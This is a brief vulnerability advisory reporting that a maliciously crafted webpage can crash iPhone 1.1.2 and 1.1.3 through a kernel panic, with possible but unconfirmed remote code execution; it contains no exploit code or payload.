Apple iPhone is prone to a remote denial-of-service vulnerability.
Attackers can exploit this issue by enticing an unsuspecting user to view a maliciously crafted webpage. Successful attacks cause a kernel panic, crashing the device. Given the nature of this issue, remote code execution may also be possible, but this has not been confirmed.
iPhone 1.1.2 and 1.1.3 are affected; other versions may also be vulnerable.
